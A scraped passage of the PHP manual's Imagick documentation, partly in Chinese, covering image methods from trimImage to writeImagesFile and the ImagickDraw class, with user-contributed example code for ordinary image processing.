  • Imagick::transposeImage() - Creates a vertical mirror image

User Contributed Notes

There are no user contributed notes for this page.


Remove edges from the image

  • ? Imagick::transverseImage
  • Imagick::uniqueImageColors ?
  • PHP Manual
  • Imagick
  • Remove edges from the image

Imagick::trimImage

(PECL imagick 2, PECL imagick 3)

Imagick::trimImage — Remove edges from the image

说明

public Imagick::trimImage(float $fuzz): bool

Remove edges that are the background color from the image. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

fuzz

By default target must match a particular pixel color exactly. However, in many cases two colors may differ by a small amount. The fuzz member of image defines how much tolerance is acceptable to consider two colors as the same. This parameter represents the variation on the quantum range.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Using Imagick::trimImage():

Trim an image, then display to the browser.

<?php
/* Create the object and read the image in */
$im = new Imagick("image.jpg");

/* Trim the image. */
$im->trimImage(0);

/* Ouput the image */
header("Content-Type: image/" . $im->getImageFormat());
echo $im;
?>

参见

  • Imagick::getQuantumDepth() - Gets the quantum depth
  • Imagick::getQuantumRange() - Returns the Imagick quantum range
  • imagecropauto() - Crop an image automatically using one of the available modes

User Contributed Notes

tamucola 20-Sep-2021 04:31
fuzz needs getQuantum
/**
 * @param string $imagePath
 * @param float  $fuzz 0.1=10%
 * @return bool
 * @throws ImagickException
 */
public static function trimImage($imagePath, $fuzz = 0.1)
{
    if (empty($imagePath)) {
        return false;
    }
    $imagePath = realpath($imagePath);
    if (!is_file($imagePath)) {
        return false;
    }
    if (!class_exists('Imagick')) {
        return false;
    }
    $im = new Imagick($imagePath);
    $result = $im->trimImage($fuzz * $im::getQuantum());
    if (!$result) {
        return false;
    }

    return $im->writeImage($imagePath);
}
Kirsty Forrester 08-Feb-2013 11:17
The command for trim can return info which tells you the coordinates of where the image was cropped and the new dimensions of the trimmed image. I couldn't find an example for how to do that with this class, so here's how I did it:

<?php

// Create and trim image
$image = new Imagick('image.png');
$image->trimImage(0.3);

/**
* Imagick:: getImagePage() gives us an array with the width, height, x and y coordinates of the trimmed image
* However, the width and height are of the original image
*/
$imagePage = $image->getImagePage();
list($x, $y) = array($imagePage['x'], $imagePage['y']);

// So we need to reset the image page to get the right height and width of the trimmed image
$image->setImagePage(0, 0, 0, 0);
list($width, $height) = array($image->width, $image->height);

?>

This will leave you with two variables for the width and height of the trimmed image, plus two variables for the x-coordinate and y-coordinate of the trimmed area relative to the original image.

This information is useful when the image you're trimming is the difference between two images (e.g. from Imagick::compareImages(), and you want to crop the original image to the same size and position as the difference.
dhp 23-Apr-2009 04:31
After operations that change the crop of the image, like trimImage does, IM preserves the old canvas and positioning info. If you need to do additional operations on the image based on the new size, you'll need to reset this info with setImagePage. This is the equivalent of the +repage command line argument.

<?php
$im->trimImage(0);
$im->setImagePage(0, 0, 0, 0);
?>
Mark van der Velden 06-Dec-2007 01:35
This method requires ImageMagick version >= 6.2.8


Discards all but one of any pixel color

  • ? Imagick::trimImage
  • Imagick::unsharpMaskImage ?
  • PHP Manual
  • Imagick
  • Discards all but one of any pixel color

Imagick::uniqueImageColors

(PECL imagick 2,PECL imagick 3)

Imagick::uniqueImageColors — Discards all but one of any pixel color

说明

public Imagick::uniqueImageColors(): bool

Discards all but one of any pixel color. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

此函数没有参数。

返回值

成功时返回 true。

示例

Example #1 Imagick::uniqueImageColors()

<?php
function uniqueImageColors($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
//Reduce the image to 256 colours nicely.
$imagick->quantizeImage(256, \Imagick::COLORSPACE_YIQ, 0, false, false);
$imagick->uniqueImageColors();
$imagick->scaleimage($imagick->getImageWidth(), $imagick->getImageHeight() * 20);
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Sharpens an image

  • ? Imagick::uniqueImageColors
  • Imagick::valid ?
  • PHP Manual
  • Imagick
  • Sharpens an image

Imagick::unsharpMaskImage

(PECL imagick 2, PECL imagick 3)

Imagick::unsharpMaskImage — Sharpens an image

说明

public Imagick::unsharpMaskImage(
float $radius,
float $sigma,
float $amount,
float $threshold,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Sharpens an image. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, radius should be larger than sigma. Use a radius of 0 and Imagick::UnsharpMaskImage() selects a suitable radius for you.

参数

radius

sigma

amount

threshold

channel

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::unsharpMaskImage()

<?php
function unsharpMaskImage($imagePath, $radius, $sigma, $amount, $unsharpThreshold) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->unsharpMaskImage($radius, $sigma, $amount, $unsharpThreshold);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Anonymous 24-Feb-2009 08:00
Prepare photo for web

<?php
$im = new Imagick($SrcFile);

$im->resizeImage ( $Width, $Height , Imagick::FILTER_QUADRATIC , 1 );

$im->normalizeImage();
$im->unsharpMaskImage(0 , 0.5 , 1 , 0.05);

$im->setImageFormat( "jpg" );
$im->setCompressionQuality(75);

$im->writeImage( $OutFile );

$im->removeImage();
?>


Checks if the current item is valid

  • ? Imagick::unsharpMaskImage
  • Imagick::vignetteImage ?
  • PHP Manual
  • Imagick
  • Checks if the current item is valid

Imagick::valid

(PECL imagick 2, PECL imagick 3)

Imagick::valid — Checks if the current item is valid

说明

public Imagick::valid(): bool

Checks if the current item is valid.

参数

此函数没有参数。

返回值

成功时返回 true。

User Contributed Notes

hyrumt at mediarain dot com 11-Feb-2010 11:01
We found this method to be of value when checking most image file types. However, it does not appear to be rigorous enough to detect corrupt jpg files. We use the following for jpgs and validate() for everything else.

<?php
    // check for the existence of the EOI segment header at the end of the file
    if (0 !== fseek($file, -2, SEEK_END) || "\xFF\xD9" !== fread($file, 2)) {
        fclose($file);
        return FALSE;
    }
?>


Adds vignette filter to the image

  • ? Imagick::valid
  • Imagick::waveImage ?
  • PHP Manual
  • Imagick
  • Adds vignette filter to the image

Imagick::vignetteImage

(PECL imagick 2, PECL imagick 3)

Imagick::vignetteImage — Adds vignette filter to the image

说明

public Imagick::vignetteImage(
float $blackPoint,
float $whitePoint,
int $x,
int $y
): bool

Softens the edges of the image in vignette style. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

blackPoint

The black point.

whitePoint

The white point

x

X offset of the ellipse

y

Y offset of the ellipse

返回值

成功时返回 true。

示例

Example #1 Imagick::vignetteImage()

<?php
function vignetteImage($imagePath, $blackPoint, $whitePoint, $x, $y) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->vignetteImage($blackPoint, $whitePoint, $x, $y);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

参见

  • Imagick::waveImage() - Applies wave filter to the image
  • Imagick::swirlImage() - Swirls the pixels about the center of the image

User Contributed Notes

There are no user contributed notes for this page.


Applies wave filter to the image

  • ? Imagick::vignetteImage
  • Imagick::whiteThresholdImage ?
  • PHP Manual
  • Imagick
  • Applies wave filter to the image

Imagick::waveImage

(PECL imagick 2, PECL imagick 3)

Imagick::waveImage — Applies wave filter to the image

说明

public Imagick::waveImage(float $amplitude, float $length): bool

Applies a wave filter to the image. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

amplitude

The amplitude of the wave.

length

The length of the wave.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 WaveImage can be quite slow Imagick::waveImage()

<?php
function waveImage($imagePath, $amplitude, $length) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->waveImage($amplitude, $length);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

参见

  • Imagick::solarizeImage() - Applies a solarizing effect to the image
  • Imagick::oilpaintImage() - Simulates an oil painting
  • Imagick::embossImage() - Returns a grayscale image with a three-dimensional effect
  • Imagick::addNoiseImage() - Adds random noise to the image
  • Imagick::swirlImage() - Swirls the pixels about the center of the image

User Contributed Notes

There are no user contributed notes for this page.


Force all pixels above the threshold into white

  • ? Imagick::waveImage
  • Imagick::writeImage ?
  • PHP Manual
  • Imagick
  • Force all pixels above the threshold into white

Imagick::whiteThresholdImage

(PECL imagick 2, PECL imagick 3)

Imagick::whiteThresholdImage — Force all pixels above the threshold into white

说明

public Imagick::whiteThresholdImage(mixed $threshold): bool

Is like Imagick::ThresholdImage() but force all pixels above the threshold into white while leaving all pixels below the threshold unchanged.

参数

threshold

返回值

成功时返回 true。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Now allows a string representing the color as a parameter. Previous versions allow only an ImagickPixel object.

示例

Example #1 Imagick::whiteThresholdImage()

<?php
function whiteThresholdImage($imagePath, $color) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->whiteThresholdImage($color);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

elmer at web-axis dot net 30-Nov-2008 03:32
Here's a example of this function:

<?php
  $img = new Imagick();
  $img->readImage($image_file_name);
  $img->whiteThresholdImage('grey');
  $img->writeImage($thumb_file_name);
  $img->clear();
  $img->destroy();
?>


把图片写入指定的文件

  • ? Imagick::whiteThresholdImage
  • Imagick::writeImageFile ?
  • PHP Manual
  • Imagick
  • 把图片写入指定的文件

Imagick::writeImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::writeImage — 把图片写入指定的文件

说明

public Imagick::writeImage(string $filename = NULL): bool

把图片写入指定的文件。如果指定文件参数的值是 NULL ，图片将会写入通过 Imagick::readImage() 或者 Imagick::setImageFilename() 设定的文件。

参数

filename

图片将被写入的文件名。文件的后缀指定了文件的类型。 可以强制指定图片的格式而不管文件的后缀名。在文件名前面加上一个前缀，例如 "jpg:test.png"。

返回值

成功时返回 true。

User Contributed Notes

Anonymous 11-Jul-2014 10:25
I opened image with Imagick::readImageBlob. When I wanted to save resized image Imagick::writeImage did not work, but Imagick::writeImageFile did.

$image = new Imagick();
$image->readImageBlob($image_data);
// $image->writeImage($fileDst)    did not work
if($f=fopen($fileDst, "w")){
  $image->writeImageFile($f);
}
SkepticaLee 27-Mar-2014 02:30
When running Imagick as packaged with the Abyss Web Server, neither this method nor writeImages () works. Instead the format has to be declared and the file saved by using another method or procedure, e.g.:

<?php
$im = new Imagick ();
$im->newImage (300, 225, "blue");
$im->writeImage ("test_0.jpg"); // fails with no error message
//instead
$im->setImageFormat ("jpeg");
file_put_contents ("test_1.jpg", $im); // works, or:
$im->imageWriteFile (fopen ("test_2.jpg", "wb")); //also works
?>
pfz at pfzone dot org 24-Nov-2012 05:47
With Imagick 3.1.0RC2, PHP4.8
If you plan to overwrite the file you're working on, before doing writeImage, consider clearing the file buffer before the write statement :

<?php
$image = new Imagick($your_file);
/* some processing */

clearstatcache(dirname($your_file));
// or
unlink($your_file);
$image->writeImage($your_file);
?>
It happened to me that the resulting file size was wrong. This could lead to truncation, as the file is not expanded.
This happened while working on JPEG, and PNG.

this line worked for me without this hack.
<?php
file_put_contents($your_file, $image);
?>

Do not rely on getImageLength() for sending your image, especially when keepalive is ON. Content length is then relevant, and must be set. If the wrong size is given, your image will be truncated.
Use filesize($your_file_) once written or strlen($image) instead (which renders your image and updates getImageLength() result).
icinagle at gmail dot com 23-May-2011 06:47
If you are trying to manipulate a uploaded file and then save the file all in the same request with Apache + mod_dav this will fail.
mod_dav puts a lock on the file during the request where the file is uploaded so trying to save the smallest file, e.g. 1kb will fail with a "Failed to allocate memory" error.


Writes an image to a filehandle

  • ? Imagick::writeImage
  • Imagick::writeImages ?
  • PHP Manual
  • Imagick
  • Writes an image to a filehandle

Imagick::writeImageFile

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::writeImageFile — Writes an image to a filehandle

说明

public Imagick::writeImageFile(resource $filehandle, string $format = ?): bool

Writes the image sequence to an open filehandle. The handle must be opened with for example fopen. 此方法在Imagick基于ImageMagick 6.3.6以上版本编译时可用。

参数

filehandle

Filehandle where to write the image.

format

The image format. The list of valid format specifiers depends on the compiled feature set of ImageMagick, and can be queried at runtime via Imagick::queryFormats().

返回值

成功时返回 true。

参见

  • Imagick::queryFormats() - Returns formats supported by Imagick

User Contributed Notes

There are no user contributed notes for this page.


Writes an image or image sequence

  • ? Imagick::writeImageFile
  • Imagick::writeImagesFile ?
  • PHP Manual
  • Imagick
  • Writes an image or image sequence

Imagick::writeImages

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::writeImages — Writes an image or image sequence

说明

public Imagick::writeImages(string $filename, bool $adjoin): bool

Writes an image or image sequence.

参数

filename

adjoin

返回值

成功时返回 true。

User Contributed Notes

Malou 16-Jan-2010 01:25
As mbrugue sugest, the second parameter can also be use to save an animated gif:

<?php
$anim = new Imagick();

$files = scandir($myFramesPath);

foreach( $files as $f )
{
    $auxIMG = new Imagick();
    $auxIMG->readImage($mytifspath.$f);

    $anim->addImage($auxIMG);
}

//write animated gif
$anim->writeImages('anim.gif', true);

?>
mbrugue 11-Jun-2009 02:54
The second parameter spicifies if the object is write in multipage file (true) or split every page in a single file (false).

Example:

<?php
$multiTIFF = new Imagick();

$files = scandir($mytifspath);

foreach( $files as $f )
{
    $auxIMG = new Imagick();
    $auxIMG->readImage($mytifspath.$f);

    $multiTIFF->addImage($auxIMG);
}

//file multi.TIF
$multiTIFF->writeImages('multi.TIF', true);

//files multi-0.TIF, multi-1.TIF, ...
$multiTIFF->writeImages('multi.TIF', false);
?>


Writes frames to a filehandle

  • ? Imagick::writeImages
  • ImagickDraw ?
  • PHP Manual
  • Imagick
  • Writes frames to a filehandle

Imagick::writeImagesFile

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::writeImagesFile — Writes frames to a filehandle

说明

public Imagick::writeImagesFile(resource $filehandle, string $format = ?): bool

Writes all image frames into an open filehandle. This method can be used to write animated gifs or other multiframe images into open filehandle. 此方法在Imagick基于ImageMagick 6.3.6以上版本编译时可用。

参数

filehandle

Filehandle where to write the images.

format

The image format. The list of valid format specifiers depends on the compiled feature set of ImageMagick, and can be queried at runtime via Imagick::queryFormats().

返回值

成功时返回 true。

参见

  • Imagick::queryFormats() - Returns formats supported by Imagick

User Contributed Notes

There are no user contributed notes for this page.


The ImagickDraw class

(PECL imagick 2, PECL imagick 3)

类摘要

class ImagickDraw {
public affine(array $affine): bool
public annotation(float $x, float $y, string $text): bool
public arc(
float $sx,
float $sy,
float $ex,
float $ey,
float $sd,
float $ed
): bool
public bezier(array $coordinates): bool
public circle(
float $ox,
float $oy,
float $px,
float $py
): bool
public clear(): bool
public clone(): ImagickDraw
public color(float $x, float $y, int $paintMethod): bool
public comment(string $comment): bool
public composite(
int $compose,
float $x,
float $y,
float $width,
float $height,
Imagick $compositeWand
): bool
public __construct()
public destroy(): bool
public ellipse(
float $ox,
float $oy,
float $rx,
float $ry,
float $start,
float $end
): bool
public getClipPath(): string
public getClipRule(): int
public getClipUnits(): int
public getFillColor(): ImagickPixel
public getFillOpacity(): float
public getFillRule(): int
public getFont(): string
public getFontFamily(): string
public getFontSize(): float
public getFontStretch(): int
public getFontStyle(): int
public getFontWeight(): int
public getGravity(): int
public getStrokeAntialias(): bool
public getStrokeColor(): ImagickPixel
public getStrokeDashArray(): array
public getStrokeDashOffset(): float
public getStrokeLineCap(): int
public getStrokeLineJoin(): int
public getStrokeMiterLimit(): int
public getStrokeOpacity(): float
public getStrokeWidth(): float
public getTextAlignment(): int
public getTextAntialias(): bool
public getTextDecoration(): int
public getTextEncoding(): string
public getTextInterlineSpacing(): float
public getTextInterwordSpacing(): float
public getTextKerning(): float
public getTextUnderColor(): ImagickPixel
public getVectorGraphics(): string
public line(
float $sx,
float $sy,
float $ex,
float $ey
): bool
public matte(float $x, float $y, int $paintMethod): bool
public pathClose(): bool
public pathCurveToAbsolute(
float $x1,
float $y1,
float $x2,
float $y2,
float $x,
float $y
): bool
public pathCurveToQuadraticBezierAbsolute(
float $x1,
float $y1,
float $x,
float $y
): bool
public pathCurveToQuadraticBezierRelative(
float $x1,
float $y1,
float $x,
float $y
): bool
public pathCurveToQuadraticBezierSmoothAbsolute(float $x, float $y): bool
public pathCurveToQuadraticBezierSmoothRelative(float $x, float $y): bool
public pathCurveToRelative(
float $x1,
float $y1,
float $x2,
float $y2,
float $x,
float $y
): bool
public pathCurveToSmoothAbsolute(
float $x2,
float $y2,
float $x,
float $y
): bool
public pathCurveToSmoothRelative(
float $x2,
float $y2,
float $x,
float $y
): bool
public pathEllipticArcAbsolute(
float $rx,
float $ry,
float $x_axis_rotation,
bool $large_arc_flag,
bool $sweep_flag,
float $x,
float $y
): bool
public pathEllipticArcRelative(
float $rx,
float $ry,
float $x_axis_rotation,
bool $large_arc_flag,
bool $sweep_flag,
float $x,
float $y
): bool
public pathFinish(): bool
public pathLineToAbsolute(float $x, float $y): bool
public pathLineToHorizontalAbsolute(float $x): bool
public pathLineToHorizontalRelative(float $x): bool
public pathLineToRelative(float $x, float $y): bool
public pathLineToVerticalAbsolute(float $y): bool
public pathLineToVerticalRelative(float $y): bool
public pathMoveToAbsolute(float $x, float $y): bool
public pathMoveToRelative(float $x, float $y): bool
public pathStart(): bool
public point(float $x, float $y): bool
public polygon(array $coordinates): bool
public polyline(array $coordinates): bool
public pop(): bool
public popClipPath(): bool
public popDefs(): bool
public popPattern(): bool
public push(): bool
public pushClipPath(string $clip_mask_id): bool
public pushDefs(): bool
public pushPattern(
string $pattern_id,
float $x,
float $y,
float $width,
float $height
): bool
public rectangle(
float $x1,
float $y1,
float $x2,
float $y2
): bool
public render(): bool
public resetVectorGraphics(): bool
public rotate(float $degrees): bool
public roundRectangle(
float $x1,
float $y1,
float $x2,
float $y2,
float $rx,
float $ry
): bool
public scale(float $x, float $y): bool
public setClipPath(string $clip_mask): bool
public setClipRule(int $fill_rule): bool
public setClipUnits(int $clip_units): bool
public setFillAlpha(float $opacity): bool
public setFillColor(ImagickPixel $fill_pixel): bool
public setFillOpacity(float $fillOpacity): bool
public setFillPatternURL(string $fill_url): bool
public setFillRule(int $fill_rule): bool
public setFont(string $font_name): bool
public setFontFamily(string $font_family): bool
public setFontSize(float $pointsize): bool
public setFontStretch(int $fontStretch): bool
public setFontStyle(int $style): bool
public setFontWeight(int $font_weight): bool
public setGravity(int $gravity): bool
public setResolution(float $x_resolution, float $y_resolution): bool
public setStrokeAlpha(float $opacity): bool
public setStrokeAntialias(bool $stroke_antialias): bool
public setStrokeColor(ImagickPixel $stroke_pixel): bool
public setStrokeDashArray(array $dashArray): bool
public setStrokeDashOffset(float $dash_offset): bool
public setStrokeLineCap(int $linecap): bool
public setStrokeLineJoin(int $linejoin): bool
public setStrokeMiterLimit(int $miterlimit): bool
public setStrokeOpacity(float $stroke_opacity): bool
public setStrokePatternURL(string $stroke_url): bool
public setStrokeWidth(float $stroke_width): bool
public setTextAlignment(int $alignment): bool
public setTextAntialias(bool $antiAlias): bool
public setTextDecoration(int $decoration): bool
public setTextEncoding(string $encoding): bool
public setTextInterlineSpacing(float $spacing): bool
public setTextInterwordSpacing(float $spacing): bool
public setTextKerning(float $kerning): bool
public setTextUnderColor(ImagickPixel $under_color): bool
public setVectorGraphics(string $xml): bool
public setViewbox(
int $x1,
int $y1,
int $x2,
int $y2
): bool
public skewX(float $degrees): bool
public skewY(float $degrees): bool
public translate(float $x, float $y): bool
}

Table of Contents

  • ImagickDraw::affine — Adjusts the current affine transformation matrix
  • ImagickDraw::annotation — Draws text on the image
  • ImagickDraw::arc — Draws an arc
  • ImagickDraw::bezier — Draws a bezier curve
  • ImagickDraw::circle — Draws a circle
  • ImagickDraw::clear — Clears the ImagickDraw
  • ImagickDraw::clone — Makes an exact copy of the specified ImagickDraw object
  • ImagickDraw::color — Draws color on image
  • ImagickDraw::comment — Adds a comment
  • ImagickDraw::composite — Composites an image onto the current image
  • ImagickDraw::__construct — The ImagickDraw constructor
  • ImagickDraw::destroy — Frees all associated resources
  • ImagickDraw::ellipse — Draws an ellipse on the image
  • ImagickDraw::getClipPath — Obtains the current clipping path ID
  • ImagickDraw::getClipRule — Returns the current polygon fill rule
  • ImagickDraw::getClipUnits — Returns the interpretation of clip path units
  • ImagickDraw::getFillColor — Returns the fill color
  • ImagickDraw::getFillOpacity — Returns the opacity used when drawing
  • ImagickDraw::getFillRule — Returns the fill rule
  • ImagickDraw::getFont — Returns the font
  • ImagickDraw::getFontFamily — Returns the font family
  • ImagickDraw::getFontSize — Returns the font pointsize
  • ImagickDraw::getFontStretch — Gets the font stretch to use when annotating with text
  • ImagickDraw::getFontStyle — Returns the font style
  • ImagickDraw::getFontWeight — Returns the font weight
  • ImagickDraw::getGravity — Returns the text placement gravity
  • ImagickDraw::getStrokeAntialias — Returns the current stroke antialias setting
  • ImagickDraw::getStrokeColor — Returns the color used for stroking object outlines
  • ImagickDraw::getStrokeDashArray — Returns an array representing the pattern of dashes and gaps used to stroke paths
  • ImagickDraw::getStrokeDashOffset — Returns the offset into the dash pattern to start the dash
  • ImagickDraw::getStrokeLineCap — Returns the shape to be used at the end of open subpaths when they are stroked
  • ImagickDraw::getStrokeLineJoin — Returns the shape to be used at the corners of paths when they are stroked
  • ImagickDraw::getStrokeMiterLimit — Returns the stroke miter limit
  • ImagickDraw::getStrokeOpacity — Returns the opacity of stroked object outlines
  • ImagickDraw::getStrokeWidth — Returns the width of the stroke used to draw object outlines
  • ImagickDraw::getTextAlignment — Returns the text alignment
  • ImagickDraw::getTextAntialias — Returns the current text antialias setting
  • ImagickDraw::getTextDecoration — Returns the text decoration
  • ImagickDraw::getTextEncoding — Returns the code set used for text annotations
  • ImagickDraw::getTextInterlineSpacing — Gets the text interword spacing
  • ImagickDraw::getTextInterwordSpacing — Gets the text interword spacing
  • ImagickDraw::getTextKerning — Gets the text kerning
  • ImagickDraw::getTextUnderColor — Returns the text under color
  • ImagickDraw::getVectorGraphics — Returns a string containing vector graphics
  • ImagickDraw::line — Draws a line
  • ImagickDraw::matte — Paints on the image's opacity channel
  • ImagickDraw::pathClose — Adds a path element to the current path
  • ImagickDraw::pathCurveToAbsolute — Draws a cubic Bezier curve
  • ImagickDraw::pathCurveToQuadraticBezierAbsolute — Draws a quadratic Bezier curve
  • ImagickDraw::pathCurveToQuadraticBezierRelative — Draws a quadratic Bezier curve
  • ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute — Draws a quadratic Bezier curve
  • ImagickDraw::pathCurveToQuadraticBezierSmoothRelative — Draws a quadratic Bezier curve
  • ImagickDraw::pathCurveToRelative — Draws a cubic Bezier curve
  • ImagickDraw::pathCurveToSmoothAbsolute — Draws a cubic Bezier curve
  • ImagickDraw::pathCurveToSmoothRelative — Draws a cubic Bezier curve
  • ImagickDraw::pathEllipticArcAbsolute — Draws an elliptical arc
  • ImagickDraw::pathEllipticArcRelative — Draws an elliptical arc
  • ImagickDraw::pathFinish — Terminates the current path
  • ImagickDraw::pathLineToAbsolute — Draws a line path
  • ImagickDraw::pathLineToHorizontalAbsolute — Draws a horizontal line path
  • ImagickDraw::pathLineToHorizontalRelative — Draws a horizontal line
  • ImagickDraw::pathLineToRelative — Draws a line path
  • ImagickDraw::pathLineToVerticalAbsolute — Draws a vertical line
  • ImagickDraw::pathLineToVerticalRelative — Draws a vertical line path
  • ImagickDraw::pathMoveToAbsolute — Starts a new sub-path
  • ImagickDraw::pathMoveToRelative — Starts a new sub-path
  • ImagickDraw::pathStart — Declares the start of a path drawing list
  • ImagickDraw::point — Draws a point
  • ImagickDraw::polygon — Draws a polygon
  • ImagickDraw::polyline — Draws a polyline
  • ImagickDraw::pop — Destroys the current ImagickDraw in the stack, and returns to the previously pushed ImagickDraw
  • ImagickDraw::popClipPath — Terminates a clip path definition
  • ImagickDraw::popDefs — Terminates a definition list
  • ImagickDraw::popPattern — Terminates a pattern definition
  • ImagickDraw::push — Clones the current ImagickDraw and pushes it to the stack
  • ImagickDraw::pushClipPath — Starts a clip path definition
  • ImagickDraw::pushDefs — Indicates that following commands create named elements for early processing
  • ImagickDraw::pushPattern — Indicates that subsequent commands up to a ImagickDraw::opPattern() command comprise the definition of a named pattern
  • ImagickDraw::rectangle — Draws a rectangle
  • ImagickDraw::render — Renders all preceding drawing commands onto the image
  • ImagickDraw::resetVectorGraphics — Resets the vector graphics
  • ImagickDraw::rotate — Applies the specified rotation to the current coordinate space
  • ImagickDraw::roundRectangle — Draws a rounded rectangle
  • ImagickDraw::scale — Adjusts the scaling factor
  • ImagickDraw::setClipPath — Associates a named clipping path with the image
  • ImagickDraw::setClipRule — Set the polygon fill rule to be used by the clipping path
  • ImagickDraw::setClipUnits — Sets the interpretation of clip path units
  • ImagickDraw::setFillAlpha — Sets the opacity to use when drawing using the fill color or fill texture
  • ImagickDraw::setFillColor — Sets the fill color to be used for drawing filled objects
  • ImagickDraw::setFillOpacity — Sets the opacity to use when drawing using the fill color or fill texture
  • ImagickDraw::setFillPatternURL — Sets the URL to use as a fill pattern for filling objects
  • ImagickDraw::setFillRule — Sets the fill rule to use while drawing polygons
  • ImagickDraw::setFont — Sets the fully-specified font to use when annotating with text
  • ImagickDraw::setFontFamily — Sets the font family to use when annotating with text
  • ImagickDraw::setFontSize — Sets the font pointsize to use when annotating with text
  • ImagickDraw::setFontStretch — Sets the font stretch to use when annotating with text
  • ImagickDraw::setFontStyle — Sets the font style to use when annotating with text
  • ImagickDraw::setFontWeight — Sets the font weight
  • ImagickDraw::setGravity — Sets the text placement gravity
  • ImagickDraw::setResolution — Sets the resolution
  • ImagickDraw::setStrokeAlpha — Specifies the opacity of stroked object outlines
  • ImagickDraw::setStrokeAntialias — Controls whether stroked outlines are antialiased
  • ImagickDraw::setStrokeColor — Sets the color used for stroking object outlines
  • ImagickDraw::setStrokeDashArray — Specifies the pattern of dashes and gaps used to stroke paths
  • ImagickDraw::setStrokeDashOffset — Specifies the offset into the dash pattern to start the dash
  • ImagickDraw::setStrokeLineCap — Specifies the shape to be used at the end of open subpaths when they are stroked
  • ImagickDraw::setStrokeLineJoin — Specifies the shape to be used at the corners of paths when they are stroked
  • ImagickDraw::setStrokeMiterLimit — Specifies the miter limit
  • ImagickDraw::setStrokeOpacity — Specifies the opacity of stroked object outlines
  • ImagickDraw::setStrokePatternURL — Sets the pattern used for stroking object outlines
  • ImagickDraw::setStrokeWidth — Sets the width of the stroke used to draw object outlines
  • ImagickDraw::setTextAlignment — Specifies a text alignment
  • ImagickDraw::setTextAntialias — Controls whether text is antialiased
  • ImagickDraw::setTextDecoration — Specifies a decoration
  • ImagickDraw::setTextEncoding — Specifies the text code set
  • ImagickDraw::setTextInterlineSpacing — Sets the text interline spacing
  • ImagickDraw::setTextInterwordSpacing — Sets the text interword spacing
  • ImagickDraw::setTextKerning — Sets the text kerning
  • ImagickDraw::setTextUnderColor — Specifies the color of a background rectangle
  • ImagickDraw::setVectorGraphics — Sets the vector graphics
  • ImagickDraw::setViewbox — Sets the overall canvas size
  • ImagickDraw::skewX — Skews the current coordinate system in the horizontal direction
  • ImagickDraw::skewY — Skews the current coordinate system in the vertical direction
  • ImagickDraw::translate — Applies a translation to the current coordinate system

User Contributed Notes

There are no user contributed notes for this page.


Adjusts the current affine transformation matrix

  • ? ImagickDraw
  • ImagickDraw::annotation ?
  • PHP Manual
  • ImagickDraw
  • Adjusts the current affine transformation matrix

ImagickDraw::affine

(PECL imagick 2, PECL imagick 3)

ImagickDraw::affine — Adjusts the current affine transformation matrix

说明

public ImagickDraw::affine(array $affine): bool
Warning

本函数还未编写文档，仅有参数列表。

Adjusts the current affine transformation matrix with the specified affine transformation matrix.

参数

affine

Affine matrix parameters

返回值

没有返回值。

示例

Example #1 ImagickDraw::affine() example

<?php
function affine($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeWidth(1);
$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);

$PI = 3.141592653589794;
$angle = 60 * $PI / 360;

//Scale the drawing co-ordinates.
$affineScale = array("sx" => 1.75, "sy" => 1.75, "rx" => 0, "ry" => 0, "tx" => 0, "ty" => 0);

//Shear the drawing co-ordinates.
$affineShear = array("sx" => 1, "sy" => 1, "rx" => sin($angle), "ry" => -sin($angle), "tx" => 0, "ty" => 0);

//Rotate the drawing co-ordinates. The shear affine matrix
//produces incorrectly scaled drawings.
$affineRotate = array("sx" => cos($angle), "sy" => cos($angle), "rx" => sin($angle), "ry" => -sin($angle), "tx" => 0, "ty" => 0,);

//Translate (offset) the drawing
$affineTranslate = array("sx" => 1, "sy" => 1, "rx" => 0, "ry" => 0, "tx" => 30, "ty" => 30);

//The identiy affine matrix
$affineIdentity = array("sx" => 1, "sy" => 1, "rx" => 0, "ry" => 0, "tx" => 0, "ty" => 0);

$examples = [$affineScale, $affineShear, $affineRotate, $affineTranslate, $affineIdentity,];

$count = 0;

foreach ($examples as $example) {
$draw->push();
$draw->translate(($count % 2) * 250, intval($count / 2) * 250);
$draw->translate(100, 100);
$draw->affine($example);
$draw->rectangle(-50, -50, 50, 50);
$draw->pop();
$count++;
}

//Create an image object which the draw commands can be rendered into
$image = new \Imagick();
$image->newImage(500, 750, $backgroundColor);
$image->setImageFormat("png");

//Render the draw commands in the ImagickDraw object
//into the image.
$image->drawImage($draw);

//Send the image to the browser
header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Draws text on the image

  • ? ImagickDraw::affine
  • ImagickDraw::arc ?
  • PHP Manual
  • ImagickDraw
  • Draws text on the image

ImagickDraw::annotation

(PECL imagick 2, PECL imagick 3)

ImagickDraw::annotation — Draws text on the image

说明

